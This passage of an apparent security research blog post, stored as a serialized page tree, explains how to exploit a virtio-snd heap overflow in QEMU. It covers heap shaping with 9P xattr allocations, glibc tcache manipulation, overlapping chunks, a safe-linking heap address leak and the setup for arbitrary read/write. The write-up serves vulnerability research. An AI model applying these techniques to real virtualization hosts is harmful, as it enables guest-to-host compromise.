v9fs_string_copy",{"type":23,"tag":213,"props":128493,"children":128494},{"style":220},[128495],{"type":28,"value":265},{"type":23,"tag":213,"props":128497,"children":128498},{"style":274},[128499],{"type":28,"value":405},{"type":23,"tag":213,"props":128501,"children":128502},{"style":268},[128503],{"type":28,"value":128454},{"type":23,"tag":213,"props":128505,"children":128506},{"style":220},[128507],{"type":28,"value":303},{"type":23,"tag":213,"props":128509,"children":128510},{"style":268},[128511],{"type":28,"value":37040},{"type":23,"tag":213,"props":128513,"children":128514},{"style":220},[128515],{"type":28,"value":124},{"type":23,"tag":213,"props":128517,"children":128518},{"style":268},[128519],{"type":28,"value":128471},{"type":23,"tag":213,"props":128521,"children":128522},{"style":220},[128523],{"type":28,"value":124},{"type":23,"tag":213,"props":128525,"children":128526},{"style":268},[128527],{"type":28,"value":48550},{"type":23,"tag":213,"props":128529,"children":128530},{"style":220},[128531],{"type":28,"value":424},{"type":23,"tag":213,"props":128533,"children":128534},{"style":274},[128535],{"type":28,"value":405},{"type":23,"tag":213,"props":128537,"children":128538},{"style":220},[128539],{"type":28,"value":128223},{"type":23,"tag":213,"props":128541,"children":128542},{"class":215,"line":9301},[128543,128548,128552,128556,128560,128564,128568,128572,128576,128580],{"type":23,"tag":213,"props":128544,"children":128545},{"style":268},[128546],{"type":28,"value":128547}," xattr_fidp",{"type":23,"tag":213,"props":128549,"children":128550},{"style":220},[128551],{"type":28,"value":303},{"type":23,"tag":213,"props":128553,"children":128554},{"style":268},[128555],{"type":28,"value":37040},{"type":23,"tag":213,"props":128557,"children":128558},{"style":220},[128559],{"type":28,"value":124},{"type":23,"tag":213,"props":128561,"children":128562},{"style":268},[128563],{"type":28,"value":128471},{"type":23,"tag":213,"props":128565,"children":128566},{"style":220},[128567],{"type":28,"value":124},{"type":23,"tag":213,"props":128569,"children":128570},{"style":268},[128571],{"type":28,"value":39209},{"type":23,"tag":213,"props":128573,"children":128574},{"style":274},[128575],{"type":28,"value":511},{"type":23,"tag":213,"props":128577,"children":128578},{"style":257},[128579],{"type":28,"value":124226},{"type":23,"tag":213,"props":128581,"children":128582},{"style":220},[128583],{"type":28,"value":128584},"(size);\n",{"type":23,"tag":213,"props":128586,"children":128587},{"class":215,"line":23557},[128588],{"type":23,"tag":213,"props":128589,"children":128590},{"style":220},[128591],{"type":28,"value":1208},{"type":23,"tag":24,"props":128593,"children":128594},{},[128595,128597,128602,128604,128609,128610,128615,128617,128622],{"type":28,"value":128596},"Because the ",{"type":23,"tag":209,"props":128598,"children":128600},{"className":128599},[],[128601],{"type":28,"value":127958},{"type":28,"value":128603}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":209,"props":128605,"children":128607},{"className":128606},[],[128608],{"type":28,"value":127958},{"type":28,"value":1466},{"type":23,"tag":209,"props":128611,"children":128613},{"className":128612},[],[128614],{"type":28,"value":127965},{"type":28,"value":128616},", not just the ",{"type":23,"tag":209,"props":128618,"children":128620},{"className":128619},[],[128621],{"type":28,"value":127965},{"type":28,"value":128623}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":24,"props":128625,"children":128626},{},[128627,128628,128633],{"type":28,"value":2623},{"type":23,"tag":209,"props":128629,"children":128631},{"className":128630},[],[128632],{"type":28,"value":127965},{"type":28,"value":128634}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":24,"props":128636,"children":128637},{},[128638,128640,128645,128647,128653,128655,128661,128663,128669],{"type":28,"value":128639},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":209,"props":128641,"children":128643},{"className":128642},[],[128644],{"type":28,"value":127965},{"type":28,"value":128646}," buffer through a ",{"type":23,"tag":209,"props":128648,"children":128650},{"className":128649},[],[128651],{"type":28,"value":128652},"P9_TWRITE",{"type":28,"value":128654}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":209,"props":128656,"children":128658},{"className":128657},[],[128659],{"type":28,"value":128660},"P9_TREAD",{"type":28,"value":128662},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":209,"props":128664,"children":128666},{"className":128665},[],[128667],{"type":28,"value":128668},"P9_TCLUNK",{"type":28,"value":128670}," request on that same FID.",{"type":23,"tag":24,"props":128672,"children":128673},{},[128674,128676,128682],{"type":28,"value":128675},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":209,"props":128677,"children":128679},{"className":128678},[],[128680],{"type":28,"value":128681},"65536",{"type":28,"value":128683}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":9693,"props":128685,"children":128687},{"id":128686},"setting-the-heap-layout",[128688],{"type":28,"value":128689},"Setting the Heap Layout",{"type":23,"tag":24,"props":128691,"children":128692},{},[128693,128695,128700],{"type":28,"value":128694},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":209,"props":128696,"children":128698},{"className":128697},[],[128699],{"type":28,"value":127965},{"type":28,"value":128701}," allocations, like this:",{"type":23,"tag":202,"props":128703,"children":128705},{"code":128704}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128706],{"type":23,"tag":209,"props":128707,"children":128708},{"__ignoreMap":7},[128709],{"type":28,"value":128704},{"type":23,"tag":24,"props":128711,"children":128712},{},[128713,128715,128720,128722,128727,128729,128734],{"type":28,"value":128714},"This lets us later create holes by freeing every other ",{"type":23,"tag":209,"props":128716,"children":128718},{"className":128717},[],[128719],{"type":28,"value":127965},{"type":28,"value":128721}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":209,"props":128723,"children":128725},{"className":128724},[],[128726],{"type":28,"value":124313},{"type":28,"value":128728}," field of the next live ",{"type":23,"tag":209,"props":128730,"children":128732},{"className":128731},[],[128733],{"type":28,"value":127965},{"type":28,"value":128735}," chunk.",{"type":23,"tag":24,"props":128737,"children":128738},{},[128739],{"type":28,"value":128740},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":24,"props":128742,"children":128743},{},[128744,128746,128751,128753,128758,128760,128765,128767,128772],{"type":28,"value":128745},"As mentioned earlier, ",{"type":23,"tag":209,"props":128747,"children":128749},{"className":128748},[],[128750],{"type":28,"value":128002},{"type":28,"value":128752}," always allocates two chunks: one for ",{"type":23,"tag":209,"props":128754,"children":128756},{"className":128755},[],[128757],{"type":28,"value":127958},{"type":28,"value":128759}," and one for ",{"type":23,"tag":209,"props":128761,"children":128763},{"className":128762},[],[128764],{"type":28,"value":127965},{"type":28,"value":128766},". We want to avoid having ",{"type":23,"tag":209,"props":128768,"children":128770},{"className":128769},[],[128771],{"type":28,"value":127958},{"type":28,"value":128773}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":131,"props":128775,"children":128776},{},[128777,128789],{"type":23,"tag":135,"props":128778,"children":128779},{},[128780,128782,128787],{"type":28,"value":128781},"Make ",{"type":23,"tag":209,"props":128783,"children":128785},{"className":128784},[],[128786],{"type":28,"value":127958},{"type":28,"value":128788}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":135,"props":128790,"children":128791},{},[128792,128794,128799,128801,128806,128808,128813],{"type":28,"value":128793},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":209,"props":128795,"children":128797},{"className":128796},[],[128798],{"type":28,"value":127958},{"type":28,"value":128800},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":209,"props":128802,"children":128804},{"className":128803},[],[128805],{"type":28,"value":127958},{"type":28,"value":128807}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":209,"props":128809,"children":128811},{"className":128810},[],[128812],{"type":28,"value":127965},{"type":28,"value":128814}," chunks.",{"type":23,"tag":18945,"props":128816,"children":128818},{"id":128817},"separating-name-allocations",[128819],{"type":28,"value":128820},"Separating .name allocations",{"type":23,"tag":24,"props":128822,"children":128823},{},[128824,128826,128831,128833,128838],{"type":28,"value":128825},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":209,"props":128827,"children":128829},{"className":128828},[],[128830],{"type":28,"value":128002},{"type":28,"value":128832}," for N ",{"type":23,"tag":209,"props":128834,"children":128836},{"className":128835},[],[128837],{"type":28,"value":127958},{"type":28,"value":128839},"-sized allocations and then freeing them.",{"type":23,"tag":24,"props":128841,"children":128842},{},[128843,128845,128850,128851,128856,128857,128862,128864,128869,128871,128876],{"type":28,"value":128844},"At this point, we already know that ",{"type":23,"tag":209,"props":128846,"children":128848},{"className":128847},[],[128849],{"type":28,"value":128002},{"type":28,"value":128752},{"type":23,"tag":209,"props":128852,"children":128854},{"className":128853},[],[128855],{"type":28,"value":127958},{"type":28,"value":128759},{"type":23,"tag":209,"props":128858,"children":128860},{"className":128859},[],[128861],{"type":28,"value":127965},{"type":28,"value":128863},". If we simply call it with ",{"type":23,"tag":209,"props":128865,"children":128867},{"className":128866},[],[128868],{"type":28,"value":127965},{"type":28,"value":128870}," sized the same as ",{"type":23,"tag":209,"props":128872,"children":128874},{"className":128873},[],[128875],{"type":28,"value":127958},{"type":28,"value":128877},", we get a layout like this:",{"type":23,"tag":202,"props":128879,"children":128881},{"code":128880}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128882],{"type":23,"tag":209,"props":128883,"children":128884},{"__ignoreMap":7},[128885],{"type":28,"value":128880},{"type":23,"tag":24,"props":128887,"children":128888},{},[128889,128891,128896,128898,128904,128906,128912,128914,128919,128921,128926,128928,128933],{"type":28,"value":128890},"With that heap state, issuing a ",{"type":23,"tag":209,"props":128892,"children":128894},{"className":128893},[],[128895],{"type":28,"value":128668},{"type":28,"value":128897}," request would first free ",{"type":23,"tag":209,"props":128899,"children":128901},{"className":128900},[],[128902],{"type":28,"value":128903},".name A",{"type":28,"value":128905}," and then ",{"type":23,"tag":209,"props":128907,"children":128909},{"className":128908},[],[128910],{"type":28,"value":128911},".value A",{"type":28,"value":128913},". When ",{"type":23,"tag":209,"props":128915,"children":128917},{"className":128916},[],[128918],{"type":28,"value":128911},{"type":28,"value":128920}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":209,"props":128922,"children":128924},{"className":128923},[],[128925],{"type":28,"value":128903},{"type":28,"value":128927}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":209,"props":128929,"children":128931},{"className":128930},[],[128932],{"type":28,"value":127958},{"type":28,"value":128934},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":24,"props":128936,"children":128937},{},[128938],{"type":28,"value":128939},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":24,"props":128941,"children":128942},{},[128943,128945,128950,128952,128957,128959,128964,128966,128972,128974,128979,128981,128987],{"type":28,"value":128944},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":209,"props":128946,"children":128948},{"className":128947},[],[128949],{"type":28,"value":127958},{"type":28,"value":128951}," allocation remains fixed at size ",{"type":23,"tag":209,"props":128953,"children":128955},{"className":128954},[],[128956],{"type":28,"value":105120},{"type":28,"value":128958},". We first allocate 16 xattrs whose ",{"type":23,"tag":209,"props":128960,"children":128962},{"className":128961},[],[128963],{"type":28,"value":127965},{"type":28,"value":128965}," size is ",{"type":23,"tag":209,"props":128967,"children":128969},{"className":128968},[],[128970],{"type":28,"value":128971},"0x30",{"type":28,"value":128973},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":209,"props":128975,"children":128977},{"className":128976},[],[128978],{"type":28,"value":127965},{"type":28,"value":128980}," size ",{"type":23,"tag":209,"props":128982,"children":128984},{"className":128983},[],[128985],{"type":28,"value":128986},"0x40",{"type":28,"value":128988},", and continue in the same way for each tcache size class.",{"type":23,"tag":24,"props":128990,"children":128991},{},[128992],{"type":28,"value":128993},"This yields the following layout:",{"type":23,"tag":202,"props":128995,"children":128997},{"code":128996}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[128998],{"type":23,"tag":209,"props":128999,"children":129000},{"__ignoreMap":7},[129001],{"type":28,"value":128996},{"type":23,"tag":24,"props":129003,"children":129004},{},[129005,129007,129012,129014,129019,129021,129026,129028,129033,129035,129040,129042,129047,129048,129053,129055,129060,129062,129067,129069,129074,129076,129081,129083,129088],{"type":28,"value":129006},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":209,"props":129008,"children":129010},{"className":129009},[],[129011],{"type":28,"value":127958},{"type":28,"value":129013}," chunks end up in the ",{"type":23,"tag":209,"props":129015,"children":129017},{"className":129016},[],[129018],{"type":28,"value":105120},{"type":28,"value":129020}," tcache bin, along with the interleaved ",{"type":23,"tag":209,"props":129022,"children":129024},{"className":129023},[],[129025],{"type":28,"value":127965},{"type":28,"value":129027}," chunks of size ",{"type":23,"tag":209,"props":129029,"children":129031},{"className":129030},[],[129032],{"type":28,"value":128971},{"type":28,"value":129034},". The next 16 ",{"type":23,"tag":209,"props":129036,"children":129038},{"className":129037},[],[129039],{"type":28,"value":127958},{"type":28,"value":129041}," chunks are interleaved with ",{"type":23,"tag":209,"props":129043,"children":129045},{"className":129044},[],[129046],{"type":28,"value":127965},{"type":28,"value":129027},{"type":23,"tag":209,"props":129049,"children":129051},{"className":129050},[],[129052],{"type":28,"value":128986},{"type":28,"value":129054},"; when freed, those ",{"type":23,"tag":209,"props":129056,"children":129058},{"className":129057},[],[129059],{"type":28,"value":127965},{"type":28,"value":129061}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":209,"props":129063,"children":129065},{"className":129064},[],[129066],{"type":28,"value":127958},{"type":28,"value":129068}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":209,"props":129070,"children":129072},{"className":129071},[],[129073],{"type":28,"value":127958},{"type":28,"value":129075},"-sized chunks that will later be served to the ",{"type":23,"tag":209,"props":129077,"children":129079},{"className":129078},[],[129080],{"type":28,"value":127958},{"type":28,"value":129082}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":209,"props":129084,"children":129086},{"className":129085},[],[129087],{"type":28,"value":127965},{"type":28,"value":128814},{"type":23,"tag":9693,"props":129090,"children":129092},{"id":129091},"corrupting-the-size",[129093],{"type":28,"value":129094},"Corrupting the Size",{"type":23,"tag":24,"props":129096,"children":129097},{},[129098,129100,129105,129107,129112,129114,129119,129121,129126,129127,129132],{"type":28,"value":129099},"The input format is guest-controlled, and we choose ",{"type":23,"tag":209,"props":129101,"children":129103},{"className":129102},[],[129104],{"type":28,"value":474},{"type":28,"value":129106}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":209,"props":129108,"children":129110},{"className":129109},[],[129111],{"type":28,"value":474},{"type":28,"value":129113}," is centered at ",{"type":23,"tag":209,"props":129115,"children":129117},{"className":129116},[],[129118],{"type":28,"value":29496},{"type":28,"value":129120}," (rather than ",{"type":23,"tag":209,"props":129122,"children":129124},{"className":129123},[],[129125],{"type":28,"value":126220},{"type":28,"value":126207},{"type":23,"tag":209,"props":129128,"children":129130},{"className":129129},[],[129131],{"type":28,"value":126198},{"type":28,"value":129133},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":24,"props":129135,"children":129136},{},[129137,129139,129144],{"type":28,"value":129138},"As we already concluded, ",{"type":23,"tag":209,"props":129140,"children":129142},{"className":129141},[],[129143],{"type":28,"value":125663},{"type":28,"value":129145}," is called with the amount:",{"type":23,"tag":202,"props":129147,"children":129149},{"code":129148},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[129150],{"type":23,"tag":209,"props":129151,"children":129152},{"__ignoreMap":7},[129153],{"type":28,"value":129148},{"type":23,"tag":24,"props":129155,"children":129156},{},[129157,129159,129164,129166,129171],{"type":28,"value":129158},"And as mentioned earlier, ",{"type":23,"tag":209,"props":129160,"children":129162},{"className":129161},[],[129163],{"type":28,"value":125694},{"type":28,"value":129165}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":209,"props":129167,"children":129169},{"className":129168},[],[129170],{"type":28,"value":124313},{"type":28,"value":58379},{"type":23,"tag":24,"props":129173,"children":129174},{},[129175,129177,129182,129184,129189],{"type":28,"value":129176},"With the desired heap layout of repeated ",{"type":23,"tag":209,"props":129178,"children":129180},{"className":129179},[],[129181],{"type":28,"value":127867},{"type":28,"value":129183},"-sized ",{"type":23,"tag":209,"props":129185,"children":129187},{"className":129186},[],[129188],{"type":28,"value":127965},{"type":28,"value":129190}," chunks in place, we can then free every other one:",{"type":23,"tag":202,"props":129192,"children":129194},{"code":129193}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[129195],{"type":23,"tag":209,"props":129196,"children":129197},{"__ignoreMap":7},[129198],{"type":28,"value":129193},{"type":23,"tag":24,"props":129200,"children":129201},{},[129202,129204,129209],{"type":28,"value":129203},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":209,"props":129205,"children":129207},{"className":129206},[],[129208],{"type":28,"value":127965},{"type":28,"value":129210}," chunk directly next to it:",{"type":23,"tag":202,"props":129212,"children":129214},{"code":129213}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[129215],{"type":23,"tag":209,"props":129216,"children":129217},{"__ignoreMap":7},[129218],{"type":28,"value":129213},{"type":23,"tag":24,"props":129220,"children":129221},{},[129222,129224,129229,129231,129236],{"type":28,"value":129223},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":209,"props":129225,"children":129227},{"className":129226},[],[129228],{"type":28,"value":127867},{"type":28,"value":129230},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":209,"props":129232,"children":129234},{"className":129233},[],[129235],{"type":28,"value":127965},{"type":28,"value":129237}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":202,"props":129239,"children":129241},{"code":129240}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[129242],{"type":23,"tag":209,"props":129243,"children":129244},{"__ignoreMap":7},[129245],{"type":28,"value":129240},{"type":23,"tag":24,"props":129247,"children":129248},{},[129249,129251,129256],{"type":28,"value":129250},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":209,"props":129252,"children":129254},{"className":129253},[],[129255],{"type":28,"value":127882},{"type":28,"value":277},{"type":23,"tag":202,"props":129258,"children":129260},{"code":129259}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[129261],{"type":23,"tag":209,"props":129262,"children":129263},{"__ignoreMap":7},[129264],{"type":28,"value":129259},{"type":23,"tag":24,"props":129266,"children":129267},{},[129268,129270,129275],{"type":28,"value":129269},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":209,"props":129271,"children":129273},{"className":129272},[],[129274],{"type":28,"value":127882},{"type":28,"value":20796},{"type":23,"tag":202,"props":129277,"children":129279},{"code":129278}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[129280],{"type":23,"tag":209,"props":129281,"children":129282},{"__ignoreMap":7},[129283],{"type":28,"value":129278},{"type":23,"tag":24,"props":129285,"children":129286},{},[129287,129289,129295],{"type":28,"value":129288},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":209,"props":129290,"children":129292},{"className":129291},[],[129293],{"type":28,"value":129294},"0x400",{"type":28,"value":129296}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":202,"props":129298,"children":129300},{"code":129299}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[129301],{"type":23,"tag":209,"props":129302,"children":129303},{"__ignoreMap":7},[129304],{"type":28,"value":129299},{"type":23,"tag":9693,"props":129306,"children":129308},{"id":129307},"leaking-a-heap-address",[129309],{"type":28,"value":129310},"Leaking a Heap Address",{"type":23,"tag":24,"props":129312,"children":129313},{},[129314],{"type":28,"value":129315},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":24,"props":129317,"children":129318},{},[129319,129321,129327],{"type":28,"value":129320},"To do this, we abuse the forward (",{"type":23,"tag":209,"props":129322,"children":129324},{"className":129323},[],[129325],{"type":28,"value":129326},"fd",{"type":28,"value":129328},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":202,"props":129330,"children":129332},{"code":129331},"fd = next ^ (curr >> 12)\n",[129333],{"type":23,"tag":209,"props":129334,"children":129335},{"__ignoreMap":7},[129336],{"type":28,"value":129331},{"type":23,"tag":24,"props":129338,"children":129339},{},[129340,129342,129347,129348,129353],{"type":28,"value":129341},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":209,"props":129343,"children":129345},{"className":129344},[],[129346],{"type":28,"value":57618},{"type":28,"value":5594},{"type":23,"tag":209,"props":129349,"children":129351},{"className":129350},[],[129352],{"type":28,"value":54549},{"type":28,"value":129354}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":202,"props":129356,"children":129358},{"code":129357},"fd = 0 ^ (curr >> 12)\n",[129359],{"type":23,"tag":209,"props":129360,"children":129361},{"__ignoreMap":7},[129362],{"type":28,"value":129357},{"type":23,"tag":24,"props":129364,"children":129365},{},[129366,129368,129373],{"type":28,"value":129367},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":209,"props":129369,"children":129371},{"className":129370},[],[129372],{"type":28,"value":129326},{"type":28,"value":129374}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":24,"props":129376,"children":129377},{},[129378],{"type":28,"value":129379},"In the overlap we achieved earlier:",{"type":23,"tag":202,"props":129381,"children":129383},{"code":129382}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[129384],{"type":23,"tag":209,"props":129385,"children":129386},{"__ignoreMap":7},[129387],{"type":28,"value":129382},{"type":23,"tag":24,"props":129389,"children":129390},{},[129391,129393,129399,129401,129407,129409,129415,129417,129422],{"type":28,"value":129392},"We first free ",{"type":23,"tag":209,"props":129394,"children":129396},{"className":129395},[],[129397],{"type":28,"value":129398},".value C",{"type":28,"value":129400}," into tcache and read its contents through the oversized ",{"type":23,"tag":209,"props":129402,"children":129404},{"className":129403},[],[129405],{"type":28,"value":129406},".value Y",{"type":28,"value":129408},". This gives us ",{"type":23,"tag":209,"props":129410,"children":129412},{"className":129411},[],[129413],{"type":28,"value":129414},".value C >> 12",{"type":28,"value":129416},". That is not yet the exact address of ",{"type":23,"tag":209,"props":129418,"children":129420},{"className":129419},[],[129421],{"type":28,"value":129398},{"type":28,"value":129423},", since the lower 12 bits are lost.",{"type":23,"tag":24,"props":129425,"children":129426},{},[129427,129429,129434,129436,129441,129443,129448,129450,129455],{"type":28,"value":129428},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":209,"props":129430,"children":129432},{"className":129431},[],[129433],{"type":28,"value":129398},{"type":28,"value":129435},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":209,"props":129437,"children":129439},{"className":129438},[],[129440],{"type":28,"value":129398},{"type":28,"value":129442}," again. This time, ",{"type":23,"tag":209,"props":129444,"children":129446},{"className":129445},[],[129447],{"type":28,"value":57618},{"type":28,"value":129449}," is no longer ",{"type":23,"tag":209,"props":129451,"children":129453},{"className":129452},[],[129454],{"type":28,"value":54549},{"type":28,"value":129456},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":202,"props":129458,"children":129459},{"code":129331},[129460],{"type":23,"tag":209,"props":129461,"children":129462},{"__ignoreMap":7},[129463],{"type":28,"value":129331},{"type":23,"tag":24,"props":129465,"children":129466},{},[129467,129469,129475,129477,129482,129484,129489,129491,129496],{"type":28,"value":129468},"Since we already know ",{"type":23,"tag":209,"props":129470,"children":129472},{"className":129471},[],[129473],{"type":28,"value":129474},"curr >> 12",{"type":28,"value":129476}," from the first leak, we can read the new ",{"type":23,"tag":209,"props":129478,"children":129480},{"className":129479},[],[129481],{"type":28,"value":129326},{"type":28,"value":129483}," value from ",{"type":23,"tag":209,"props":129485,"children":129487},{"className":129486},[],[129488],{"type":28,"value":129398},{"type":28,"value":129490}," and recover the exact address of ",{"type":23,"tag":209,"props":129492,"children":129494},{"className":129493},[],[129495],{"type":28,"value":57618},{"type":28,"value":129497}," by reversing the XOR:",{"type":23,"tag":202,"props":129499,"children":129501},{"code":129500},"next = fd ^ (curr >> 12)\n",[129502],{"type":23,"tag":209,"props":129503,"children":129504},{"__ignoreMap":7},[129505],{"type":28,"value":129500},{"type":23,"tag":24,"props":129507,"children":129508},{},[129509],{"type":28,"value":129510},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":9693,"props":129512,"children":129514},{"id":129513},"arbitrary-read-and-write",[129515],{"type":28,"value":129516},"Arbitrary Read and Write",{"type":23,"tag":24,"props":129518,"children":129519},{},[129520,129522,129527],{"type":28,"value":129521},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":209,"props":129523,"children":129525},{"className":129524},[],[129526],{"type":28,"value":129398},{"type":28,"value":129528}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":24,"props":129530,"children":129531},{},[129532,129534,129539],{"type":28,"value":129533},"Recall ",{"type":23,"tag":209,"props":129535,"children":129537},{"className":129536},[],[129538],{"type":28,"value":128002},{"type":28,"value":277},{"type":23,"tag":202,"props":129541,"children":129543},{"code":129542,"language":3244,"meta":7,"className":16566,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n 